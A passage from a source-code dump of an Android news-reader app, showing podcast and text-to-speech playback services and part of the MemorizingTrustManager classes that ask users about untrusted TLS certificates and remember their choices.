   }\n\n    @Override\n    public void pause() {\n        if (mMediaPlayer.isPlaying()) {\n            mMediaPlayer.pause();\n        }\n        setStatus(PlaybackStateCompat.STATE_PAUSED);\n    }\n\n    @Override\n    public void playbackSpeedChanged(float currentPlaybackSpeed) {\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n            mMediaPlayer.setPlaybackParams(mMediaPlayer.getPlaybackParams().setSpeed(currentPlaybackSpeed));\n        }\n    }\n\n    @Override\n    public void seekTo(int position) {\n        double totalDuration = mMediaPlayer.getDuration();\n        Log.d(TAG, \"seekTo position: \" + position + \" totalDuration: \" + totalDuration);\n        //int position = (int) ((totalDuration / 100d) * percent);\n        mMediaPlayer.seekTo(position);\n    }\n\n    @Override\n    public int getCurrentPosition() {\n        if (mMediaPlayer != null && isMediaLoaded()) {\n            return mMediaPlayer.getCurrentPosition();\n        }\n        return 0;\n    }\n\n    @Override\n    public int getTotalDuration() {\n        if (mMediaPlayer != null && isMediaLoaded()) {\n            return mMediaPlayer.getDuration();\n        }\n        return 0;\n    }\n\n    @Override\n    public VideoType getVideoType() {\n        return ((PodcastItem) getMediaItem()).isVideoPodcast ? VideoType.Video : VideoType.None;\n    }\n\n\n    /*\n    private void populateVideo() {\n        double videoHeightRel = (double) mSurfaceWidth / (double) mMediaPlayer.getVideoWidth();\n        int videoHeight = (int) (mMediaPlayer.getVideoHeight() * videoHeightRel);\n\n        if (mSurfaceWidth != 0 && videoHeight != 0 && mSurfaceHolder != null) {\n            //mSurfaceHolder.setFixedSize(mSurfaceWidth, videoHeight);\n\n            parentView.getLayoutParams().height = videoHeight;\n            parentView.setLayoutParams(parentView.getLayoutParams());\n        }\n    }*/\n\n    public long getVideoWidth() {\n        return mMediaPlayer.getVideoWidth();\n    }\n\n    public void setVideoView(SurfaceView surfaceView) {\n        if (surfaceView == null) {\n            mMediaPlayer.setDisplay(null);\n            //Log.v(TAG, \"Disable Screen output!\");\n\n            mMediaPlayer.setScreenOnWhilePlaying(false);\n        } else {\n            if (surfaceView.getHolder() != mSurfaceHolder) {\n                //this.parentView = parentResizableView;\n\n                surfaceView.getHolder().addCallback(mSHCallback);\n                //videoOutput.surfaceView.getHolder().setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); //holder.setType(SurfaceHolder.SURFACE_TYPE_GPU);\n\n            }\n        }\n    }\n\n\n    //private int mSurfaceWidth;\n    //private int mSurfaceHeight;\n    private SurfaceHolder mSurfaceHolder;\n    private final SurfaceHolder.Callback mSHCallback = new SurfaceHolder.Callback() {\n        public void surfaceChanged(SurfaceHolder holder, int format, int surfaceWidth, int surfaceHeight) {\n            Log.v(TAG, \"surfaceChanged() called with: holder = [\" + holder + \"], format = [\" + format + \"], surfaceWidth = [\" + surfaceWidth + \"], surfaceHeight = [\" + surfaceHeight + \"]\");\n            //mSurfaceWidth = surfaceWidth;\n            //mSurfaceHeight = surfaceHeight;\n            //populateVideo();\n        }\n\n        public void surfaceCreated(SurfaceHolder holder) {\n            Log.v(TAG, \"surfaceCreated() called with: holder = [\" + holder + \"]\");\n            mSurfaceHolder = holder;\n            mMediaPlayer.setDisplay(mSurfaceHolder);\n            mMediaPlayer.setScreenOnWhilePlaying(true);\n        }\n\n        public void surfaceDestroyed(SurfaceHolder holder)\n        {\n            Log.d(TAG, \"surfaceDestroyed\");\n        }\n    };\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/podcast/PlaybackService.java",
    "content": "package de.luhmer.owncloudnewsreader.services.podcast;\n\nimport android.support.v4.media.session.PlaybackStateCompat;\n\nimport de.luhmer.owncloudnewsreader.model.MediaItem;\n\n/**\n * Created by david on 31.01.17.\n */\n\npublic abstract class PlaybackService {\n\n    public enum VideoType { None, Video, VideoType, YouTube }\n\n    private @PlaybackStateCompat.State int mStatus = PlaybackStateCompat.STATE_NONE;\n    private final PodcastStatusListener podcastStatusListener;\n    private final MediaItem mediaItem;\n\n    public interface PodcastStatusListener {\n        void podcastStatusUpdated();\n        void podcastCompleted();\n    }\n\n    public PlaybackService(PodcastStatusListener podcastStatusListener, MediaItem mediaItem) {\n        this.podcastStatusListener = podcastStatusListener;\n        this.mediaItem = mediaItem;\n    }\n\n    public abstract void destroy();\n    public abstract void play();\n    public abstract void pause();\n    public abstract void playbackSpeedChanged(float currentPlaybackSpeed);\n\n\n    public void seekTo(int position) { }\n    public int getCurrentPosition() { return 0; }\n    public int getTotalDuration() { return 0; }\n    public VideoType getVideoType() { return VideoType.None; }\n\n    public MediaItem getMediaItem() {\n        return mediaItem;\n    }\n\n    public @PlaybackStateCompat.State int getStatus() {\n        return mStatus;\n    }\n\n    protected void setStatus(@PlaybackStateCompat.State int status) {\n        this.mStatus = status;\n        podcastStatusListener.podcastStatusUpdated();\n    }\n\n    protected void podcastCompleted() {\n        podcastStatusListener.podcastCompleted();\n    }\n\n    public boolean isMediaLoaded() {\n        return     getStatus() != PlaybackStateCompat.STATE_NONE\n                && getStatus() != PlaybackStateCompat.STATE_CONNECTING\n                && getStatus() != PlaybackStateCompat.STATE_ERROR;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/podcast/TTSPlaybackService.java",
    "content": "package de.luhmer.owncloudnewsreader.services.podcast;\n\nimport android.content.Context;\nimport android.speech.tts.TextToSpeech;\nimport android.speech.tts.UtteranceProgressListener;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.util.Log;\n\nimport java.util.HashMap;\n\nimport de.luhmer.owncloudnewsreader.model.MediaItem;\nimport de.luhmer.owncloudnewsreader.model.TTSItem;\n\n/**\n * Created by david on 31.01.17.\n */\n\npublic class TTSPlaybackService extends PlaybackService implements TextToSpeech.OnInitListener {\n    private TextToSpeech ttsController;\n\n    public TTSPlaybackService(Context context, PodcastStatusListener podcastStatusListener, MediaItem mediaItem) {\n        super(podcastStatusListener, mediaItem);\n\n        try {\n            ttsController = new TextToSpeech(context, this);\n            setStatus(PlaybackStateCompat.STATE_CONNECTING);\n\n            if(ttsController != null) {\n                ttsController.setOnUtteranceProgressListener(new UtteranceProgressListener() {\n                    @Override\n                    public void onDone(String utteranceId) {\n                        podcastCompleted();\n                    }\n\n                    @Override public void onStart(String utteranceId) {}\n                    @Override public void onError(String utteranceId) {}\n                });\n            } else {\n                onInit(TextToSpeech.SUCCESS);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public void destroy() {\n        pause();\n        ttsController.shutdown();\n        ttsController = null;\n    }\n\n    @Override\n    public void play() {\n        onInit(TextToSpeech.SUCCESS);//restart last tts\n    }\n\n    @Override\n    public void pause() {\n        if (ttsController.isSpeaking()) {\n            ttsController.stop();\n            setStatus(PlaybackStateCompat.STATE_PAUSED);\n        }\n    }\n\n    @Override\n    public void playbackSpeedChanged(float currentPlaybackSpeed) {\n        ttsController.setSpeechRate(currentPlaybackSpeed);\n    }\n\n    @Override\n    public void onInit(int status) {\n        if (status == TextToSpeech.SUCCESS) {\n            /*\n            int result = ttsController.setLanguage(Locale.US);\n\n            if (result == TextToSpeech.LANG_MISSING_DATA\n                    || result == TextToSpeech.LANG_NOT_SUPPORTED) {\n                Log.e(\"TTS\", \"This Language is not supported\");\n            } else {\n                ttsController.speak(text, TextToSpeech.QUEUE_FLUSH, null);\n            }*/\n\n            HashMap<String,String> ttsParams = new HashMap<>();\n            ttsParams.put(TextToSpeech.Engine.KEY_PARAM_UTTERANCE_ID,\"dummyId\");\n            ttsController.speak(((TTSItem)getMediaItem()).text, TextToSpeech.QUEUE_FLUSH, ttsParams);\n            setStatus(PlaybackStateCompat.STATE_PLAYING);\n        } else {\n            Log.e(\"TTS\", \"Initialization Failed!\");\n            ttsController = null;\n        }\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ssl/MTMDecision.java",
    "content": "package de.luhmer.owncloudnewsreader.ssl;\n\n/* MemorizingTrustManager - a TrustManager which asks the user about invalid\n *  certificates and memorizes their decision.\n *\n * Copyright (c) 2010 Georg Lukas <georg@op-co.de>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nclass MTMDecision {\n\tpublic final static int DECISION_INVALID\t= 0;\n\tpublic final static int DECISION_ABORT\t\t= 1;\n\tpublic final static int DECISION_ONCE\t\t= 2;\n\tpublic final static int DECISION_ALWAYS\t= 3;\n\n\tint state = DECISION_INVALID;\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ssl/MemorizingDialogFragment.java",
    "content": "package de.luhmer.owncloudnewsreader.ssl;\n\n/* MemorizingTrustManager - a TrustManager which asks the user about invalid\n *  certificates and memorizes their decision.\n *\n * Copyright (c) 2010 Georg Lukas <georg@op-co.de>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n\nimport android.content.DialogInterface;\nimport android.content.DialogInterface.OnCancelListener;\nimport android.content.DialogInterface.OnClickListener;\nimport android.content.Intent;\nimport android.os.Bundle;\nimport android.util.Log;\n\nimport androidx.annotation.NonNull;\nimport androidx.appcompat.app.AlertDialog;\nimport androidx.fragment.app.DialogFragment;\nimport de.luhmer.owncloudnewsreader.R;\n\npublic class MemorizingDialogFragment extends DialogFragment\n\t\timplements OnClickListener,OnCancelListener {\n\tfinal static String TAG = \"MemorizingDialogFrg\";\n\n\tint decisionId;\n\tString app;\n\tString cert;\n\n\tpublic MemorizingDialogFragment() {\n\t\t\n\t}\n\n\t@Override\n\tpublic void onCreate(Bundle savedInstanceState) {\n\t\tLog.d(TAG, \"onCreate\");\n        Bundle args = requireArguments();\n\n        app = args.getString(MemorizingTrustManager.DECISION_INTENT_APP);\n        decisionId = args.getInt(MemorizingTrustManager.DECISION_INTENT_ID, MTMDecision.DECISION_INVALID);\n        cert = args.getString(MemorizingTrustManager.DECISION_INTENT_CERT);\n        //Log.d(TAG, \"onResume with \" + i.getExtras() + \" decId=\" + decisionId);\n        //Log.d(TAG, \"data: \" + i.getData());\n\n\t\tsuper.onCreate(savedInstanceState);\n\t}\n\n\t@Override\n\tpublic void onResume() {\n\t\tsuper.onResume();\n\t\t\n\t\tnew AlertDialog.Builder(requireContext()).setTitle(R.string.mtm_accept_cert)\n\t\t\t.setMessage(cert)\n\t\t\t.setPositiveButton(R.string.mtm_decision_always, this)\n\t\t\t.setNegativeButton(R.string.mtm_decision_abort, this)\n\t\t\t.setOnCancelListener(this)\n\t\t\t.create().show();\n\t}\n\n\tvoid sendDecision(int decision) {\n\t\tLog.d(TAG, \"Sending decision to \" + app + \": \" + decision);\n\t\tIntent i = new Intent(MemorizingTrustManager.DECISION_INTENT + \"/\" + app);\n\t\ti.putExtra(MemorizingTrustManager.DECISION_INTENT_ID, decisionId);\n\t\ti.putExtra(MemorizingTrustManager.DECISION_INTENT_CHOICE, decision);\n\t\trequireActivity().sendBroadcast(i);\n\t\t//finish();\n\t\trequireDialog().dismiss();\n\t}\n\n\t// react on AlertDialog button press\n\tpublic void onClick(DialogInterface dialog, int btnId) {\n\t\tint decision;\n\t\tdialog.dismiss();\n\t\tswitch (btnId) {\n\t\tcase DialogInterface.BUTTON_POSITIVE:\n\t\t\tdecision = MTMDecision.DECISION_ALWAYS;\n\t\t\tbreak;\n\t\tcase DialogInterface.BUTTON_NEUTRAL:\n\t\t\tdecision = MTMDecision.DECISION_ONCE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tdecision = MTMDecision.DECISION_ABORT;\n\t\t}\n\t\tsendDecision(decision);\n\t}\n\n\tpublic void onCancel(@NonNull DialogInterface dialog) {\n\t\tsendDecision(MTMDecision.DECISION_ABORT);\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/ssl/MemorizingTrustManager.java",
    "content": "package de.luhmer.owncloudnewsreader.ssl;\n\n/* MemorizingTrustManager - a TrustManager which asks the user about invalid\n *  certificates and memorizes their decision.\n *\n * Copyright (c) 2010 Georg Lukas <georg@op-co.de>\n *\n * MemorizingTrustManager.java contains the actual trust manager and interface\n * code to create a MemorizingActivity and obtain the results.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\nimport android.app.Activity;\nimport android.app.Application;\nimport android.app.Notification;\nimport android.app.NotificationManager;\nimport android.app.PendingIntent;\nimport android.app.Service;\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.content.IntentFilter;\nimport android.graphics.BitmapFactory;\nimport android.net.Uri;\nimport android.os.Bundle;\nimport android.os.Handler;\nimport android.util.Log;\nimport android.util.SparseArray;\n\nimport androidx.core.app.NotificationCompat;\nimport androidx.fragment.app.DialogFragment;\nimport androidx.fragment.app.FragmentActivity;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.lang.ref.WeakReference;\nimport java.security.KeyStore;\nimport java.security.KeyStoreException;\nimport java.security.MessageDigest;\nimport java.security.cert.Certificate;\nimport java.security.cert.CertificateException;\nimport java.security.cert.CertificateExpiredException;\nimport java.security.cert.X509Certificate;\nimport java.util.Arrays;\nimport java.util.Enumeration;\n\nimport javax.net.ssl.TrustManager;\nimport javax.net.ssl.TrustManagerFactory;\nimport javax.net.ssl.X509TrustManager;\n\nimport de.luhmer.owncloudnewsreader.R;\n\n/**\n * A X509 trust manager implementation which asks the user about invalid\n * certificates and memorizes their decision.\n * <p>\n * The certificate validity is checked using the system default X509\n * TrustManager, creating a query Dialog if the check fails.\n * <p>\n * <b>WARNING:</b> This only works if a dedicated thread is used for\n * opening sockets!\n */\npublic class MemorizingTrustManager implements X509TrustManager {\n\tfinal static String TAG = \"MemorizingTrustManager\";\n\tfinal static String DECISION_INTENT = \"de.duenndns.ssl.DECISION\";\n\tfinal static String DECISION_INTENT_APP    = DECISION_INTENT + \".app\";\n\tfinal static String DECISION_INTENT_ID     = DECISION_INTENT + \".decisionId\";\n\tfinal static String DECISION_INTENT_CERT   = DECISION_INTENT + \".cert\";\n\tfinal static String DECISION_INTENT_CHOICE = DECISION_INTENT + \".decisionChoice\";\n\tprivate final static int NOTIFICATION_ID = 100509;\n\n\tstatic String KEYSTORE_DIR = \"KeyStore\";\n\tstatic String KEYSTORE_FILE = \"KeyStore.bks\";\n\t\n\tWeakReference<Activity> foregroundAct;\n\tNotificationManager notificationManager;\n\tprivate static int decisionId = 0;\n\tprivate static final SparseArray<MTMDecision> openDecisions = new SparseArray<>();\n\n\tHandler masterHandler;\n\tprivate final File keyStoreFile;\n\tprivate final KeyStore appKeyStore;\n\tprivate final X509TrustManager defaultTrustManager;\n\tprivate X509TrustManager appTrustManager;\n\tprivate final Context mContext;\n\t\n\t/** Creates an instance of the MemorizingTrustManager class.\n\t *\n\t * You need to supply the application context. This has to be one of:\n\t *    - Application\n\t *    - Activity\n\t *    - Service\n\t *\n\t * The context is used for file management, to display the dialog /\n\t * notification and for obtaining translated strings.\n\t *\n\t * @param m Context for the application.\n\t */\n\tpublic MemorizingTrustManager(Context m) {\n\t\tmContext = m;\n\t\tmasterHandler = new Handler(mContext.getMainLooper());\n\t\tnotificationManager = (NotificationManager)mContext.getSystemService(Context.NOTIFICATION_SERVICE);\n\n\t\tApplication app;\n\t\tif (m instanceof Application) {\n\t\t\tapp = (Application)m;\n\t\t} else if (m instanceof Service) {\n\t\t\tapp = ((Service)m).getApplication();\n\t\t} else if (m instanceof Activity) {\n\t\t\tapp = ((Activity)m).getApplication();\n\t\t} else throw new ClassCastException(\"MemorizingTrustManager context must be either Activity or Service!\");\n\n\t\tFile dir = app.getDir(KEYSTORE_DIR, Context.MODE_PRIVATE);\n\t\tkeyStoreFile = new File(dir + File.separator + KEYSTORE_FILE);\n\n\t\tappKeyStore = loadAppKeyStore();\n\t\tdefaultTrustManager = getTrustManager(null);\n\t\tappTrustManager = getTrustManager(appKeyStore);\n\t}\n\n\t/**\n\t * Returns a X509TrustManager list containing a new instance of\n\t * TrustManagerFactory.\n\t *\n\t * This function is meant for convenience only. You can use it\n\t * as follows to integrate TrustManagerFactory for HTTPS sockets:\n\t *\n\t * <pre>\n\t *     SSLContext sc = SSLContext.getInstance(\"TLS\");\n\t *     sc.init(null, MemorizingTrustManager.getInstanceList(this),\n\t *         new java.security.SecureRandom());\n\t *     HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());\n\t * </pre>\n\t * @param c Activity or Service to show the Dialog / Notification\n\t */\n\tpublic static X509TrustManager[] getInstanceList(Context c) {\n\t\treturn new X509TrustManager[] { new MemorizingTrustManager(c) };\n\t}\n\n\t/**\n\t * Binds an Activity to the MTM for displaying the query dialog.\n\t *\n\t * This is useful if your connection is run from a service that is\n\t * triggered by user interaction -- in such cases the activity is\n\t * visible and the user tends to ignore the service notification.\n\t *\n\t * You should never have a hidden activity bound to MTM! Use this\n\t * function in onResume() and @see unbindDisplayActivity in onPause().\n\t *\n\t * @param act Activity to be bound\n\t */\n\tpublic void bindDisplayActivity(Activity act) {\n\t\tforegroundAct = new WeakReference<>(act);\n\t}\n\n\t/**\n\t * Removes an Activity from the MTM display stack.\n\t *\n\t * Always call this function when the Activity added with\n\t * @see #bindDisplayActivity is hidden.\n\t *\n\t * @param act Activity to be unbound\n\t */\n\tpublic void unbindDisplayActivity(Activity act) {\n\t\t// do not remove if it was overridden by a different activity\n\t\tif (foregroundAct != null && foregroundAct.get() == act) {\n\t\t\tforegroundAct = null;\n\t\t}\n\t}\n\n\t/**\n\t * Changes the path for the KeyStore file.\n\t *\n\t * The actual filename relative to the app's directory will be\n\t * <code>app_<i>dirname</i>/<i>filename</i></code>.\n\t *\n\t * @param dirname directory to store the KeyStore.\n\t * @param filename file name for the KeyStore.\n\t */\n\tpublic static void setKeyStoreFile(String dirname, String filename) {\n\t\tKEYSTORE_DIR = dirname;\n\t\tKEYSTORE_FILE = filename;\n\t}\n\n\n\t/**\n\t * Get a list of all certificate aliases stored in MTM.\n\t *\n\t * @return an {@link Enumeration} of all certificates\n\t */\n\tpublic Enumeration<String> getCertificates() {\n\t\ttry {\n\t\t\treturn appKeyStore.aliases();\n\t\t} catch (KeyStoreException e) {\n\t\t\t// this should never happen, however...\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * Get a certificate for a given alias.\n\t *\n\t * @param alias the certificate's alias as returned by {@link #getCertificates()}.\n\t *\n\t * @return the certificate associated with the alias or <tt>null</tt> if none found.\n\t */\n\tpublic Certificate getCertificate(String alias) {\n\t\ttry {\n\t\t\treturn appKeyStore.getCertificate(alias);\n\t\t} catch (KeyStoreException e) {\n\t\t\t// this should never happen, however...\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n\t/**\n\t * Removes the given certificate from MTMs key store.\n\t *\n\t * <p>\n\t * <b>WARNING</b>: this does not immediately invalidate the certificate. It is\n\t * well possible that (a) data is transmitted over still existing connections or\n\t * (b) new connections are created using TLS renegotiation, without a new cert\n\t * check.\n\t * </p>\n\t * @param alias the certificate's alias as returned by {@link #getCertificates()}.\n\t *\n\t * @throws KeyStoreException if the certificate could not be deleted.\n\t */\n\tpublic void deleteCertificate(String alias) throws KeyStoreException {\n\t\tappKeyStore.deleteEntry(alias);\n\t\tkeyStoreUpdated();\n\t}\n\n\tvoid keyStoreUpdated() {\n\t\t// reload appTrustManager\n\t\tappTrustManager = getTrustManager(appKeyStore);\n\n\t\t// store KeyStore to file\n\t\tjava.io.FileOutputStream fos = null;\n\t\ttry {\n\t\t\tfos = new java.io.FileOutputStream(keyStoreFile);\n\t\t\tappKeyStore.store(fos, \"MTM\".toCharArray());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\t//LOGGER.log(Level.SEVERE, \"storeCert(\" + keyStoreFile + \")\", e);\n\t\t} finally {\n\t\t\tif (fos != null) {\n\t\t\t\ttry {\n\t\t\t\t\tfos.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t//LOGGER.log(Level.SEVERE, \"storeCert(\" + keyStoreFile + \")\", e);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\n\n\n\n\n\tX509TrustManager getTrustManager(KeyStore ks) {\n\t\ttry {\n\t\t\tTrustManagerFactory tmf = TrustManagerFactory.getInstance(\"X509\");\n\t\t\ttmf.init(ks);\n\t\t\tfor (TrustManager t : tmf.getTrustManagers()) {\n\t\t\t\tif (t instanceof X509TrustManager) {\n\t\t\t\t\treturn (X509TrustManager)t;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\t// Here, we are covering up errors. It might be more useful\n\t\t\t// however to throw them out of the constructor so the\n\t\t\t// embedding app knows something went wrong.\n\t\t\tLog.e(TAG, \"getTrustManager(\" + ks + \")\", e);\n\t\t}\n\t\treturn null;\n\t}\n\n\tKeyStore loadAppKeyStore() {\n\t\tKeyStore ks;\n\t\ttry {\n\t\t\tks = KeyStore.getInstance(KeyStore.getDefaultType());\n\t\t} catch (KeyStoreException e) {\n\t\t\tLog.e(TAG, \"getAppKeyStore()\", e);\n\t\t\treturn null;\n\t\t}\n\t\ttry {\n\t\t\tks.load(null, null);\n\t\t\tif(keyStoreFile.canRead()) {\n\t\t\t\tks.load(new java.io.FileInputStream(keyStoreFile), \"MTM\".toCharArray());\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tLog.e(TAG, \"getAppKeyStore(\" + keyStoreFile + \")\", e);\n\t\t}\n\t\treturn ks;\n\t}\n\n\tvoid storeCert(X509Certificate[] chain) {\n\t\t// add all certs from chain to appKeyStore\n\t\ttry {\n\t\t\tfor (X509Certificate c : chain)\n\t\t\t\tappKeyStore.setCertificateEntry(c.getSubjectDN().toString(), c);\n\t\t} catch (KeyStoreException e) {\n\t\t\tLog.e(TAG, \"storeCert(\" + Arrays.toString(chain) + \")\", e);\n\t\t\treturn;\n\t\t}\n\n\t\t// reload appTrustManager\n\t\tappTrustManager = getTrustManager(appKeyStore);\n\n\t\t// store KeyStore to file\n\t\ttry {\n\t\t\tjava.io.FileOutputStream fos = new java.io.FileOutputStream(keyStoreFile);\n\t\t\tappKeyStore.store(fos, \"MTM\".toCharArray());\n\t\t\tfos.close();\n\t\t} catch (Exception e) {\n\t\t\tLog.e(TAG, \"storeCert(\" + keyStoreFile + \")\", e);\n\t\t}\n\t}\n\n\t// if the certificate is stored in the app key store, it is considered \"known\"\n\tprivate boolean isCertKnown(X509Certificate cert) {\n\t\ttry {\n\t\t\treturn appKeyStore.getCertificateAlias(cert) != null;\n\t\t} catch (KeyStoreException e) {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tprivate boolean isExpiredException(Throwable e) {\n\t\tdo {\n\t\t\tif (e instanceof CertificateExpiredException)\n\t\t\t\treturn true;\n\t\t\te = e.getCause();\n\t\t} while (e != null);\n\t\treturn false;\n\t}\n\n\tpublic void checkCertTrusted(X509Certificate[] chain, String authType, boolean isServer)\n\t\tthrows CertificateException\n\t{\n\t\t//Log.d(TAG, \"checkCertTrusted(\" + Arrays.toString(chain) + \", \" + authType + \", \" + isServer + \")\");\n\t\ttry {\n\t\t\tLog.d(TAG, \"checkCertTrusted: trying defaultTrustManager\");\n\t\t\tif (isServer)\n\t\t\t\tdefaultTrustManager.checkServerTrusted(chain, authType);\n\t\t\telse\n\t\t\t\tdefaultTrustManager.checkClientTrusted(chain, authType);\n\t\t} catch (CertificateException ae) {\n\t\t\ttry {\n\t\t\t\tLog.d(TAG, \"checkCertTrusted: trying appTrustManager\");\n\t\t\t\tif (isServer)\n\t\t\t\t\tappTrustManager.checkServerTrusted(chain, authType);\n\t\t\t\telse\n\t\t\t\t\tappTrustManager.checkClientTrusted(chain, authType);\n\t\t\t} catch (CertificateException e) {\n\t\t\t\t// if the cert is stored in our appTrustManager, we ignore expiredness\n\t\t\t\tif (isExpiredException(e)) {\n\t\t\t\t\tLog.i(TAG, \"checkCertTrusted: accepting expired certificate from keystore\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tif (isCertKnown(chain[0])) {\n\t\t\t\t\tLog.i(TAG, \"checkCertTrusted: accepting cert already stored in keystore\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\te.printStackTrace();\n\t\t\t\tinteract(chain, e);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void checkClientTrusted(X509Certificate[] chain, String authType)\n\t\tthrows CertificateException\n\t{\n\t\tcheckCertTrusted(chain, authType, false);\n\t}\n\n\tpublic void checkServerTrusted(X509Certificate[] chain, String authType)\n\t\tthrows CertificateException\n\t{\n\t\tcheckCertTrusted(chain, authType, true);\n\t}\n\n\tpublic X509Certificate[] getAcceptedIssuers()\n\t{\n\t\tLog.d(TAG, \"getAcceptedIssuers()\");\n\t\treturn defaultTrustManager.getAcceptedIssuers();\n\t}\n\n\tprivate int createDecisionId(MTMDecision d) {\n\t\tint myId;\n\t\tsynchronized(openDecisions) {\n\t\t\tmyId = decisionId;\n\t\t\topenDecisions.put(myId, d);\n\t\t\tdecisionId += 1;\n\t\t}\n\t\treturn myId;\n\t}\n\n\tprivate static String hexString(byte[] data) {\n\t\tStringBuilder si = new StringBuilder();\n\t\tfor (int i = 0; i < data.length; i++) {\n\t\t\tsi.append(String.format(\"%02x\", data[i]));\n\t\t\tif (i < data.length - 1)\n\t\t\t\tsi.append(\":\");\n\t\t}\n\t\treturn si.toString();\n\t}\n\n\tprivate static String certHash(final X509Certificate cert, String digest) {\n\t\ttry {\n\t\t\tMessageDigest md = MessageDigest.getInstance(digest);\n\t\t\tmd.update(cert.getEncoded());\n\t\t\treturn hexString(md.digest());\n\t\t} catch (java.security.cert.CertificateEncodingException e) {\n\t\t\treturn e.getMessage();\n\t\t} catch (java.security.NoSuchAlgorithmException e) {\n\t\t\treturn e.getMessage();\n\t\t}\n\t}\n\n\tprivate String certChainMessage(final X509Certificate[] chain, CertificateException cause) {\n\t\tThrowable e = cause;\n\t\tLog.d(TAG, \"certChainMessage for \" + e);\n\t\tStringBuilder si = new StringBuilder();\n\t\tif (e.getCause() != null) {\n\t\t\te = e.getCause();\n\t\t\tsi.append(e.getLocalizedMessage());\n\t\t\t//si.append(\"\\n\");\n\t\t}\n\t\tfor (X509Certificate c : chain) {\n\t\t\tsi.append(\"\\n\\n\");\n\t\t\tsi.append(c.getSubjectDN().toString());\n\t\t\tsi.append(\"\\nMD5: \");\n\t\t\tsi.append(certHash(c, \"MD5\"));\n\t\t\tsi.append(\"\\nSHA1: \");\n\t\t\tsi.append(certHash(c, \"SHA-1\"));\n\t\t\tsi.append(\"\\nSigned by: \");\n\t\t\tsi.append(c.getIssuerDN().toString());\n\t\t}\n\t\treturn 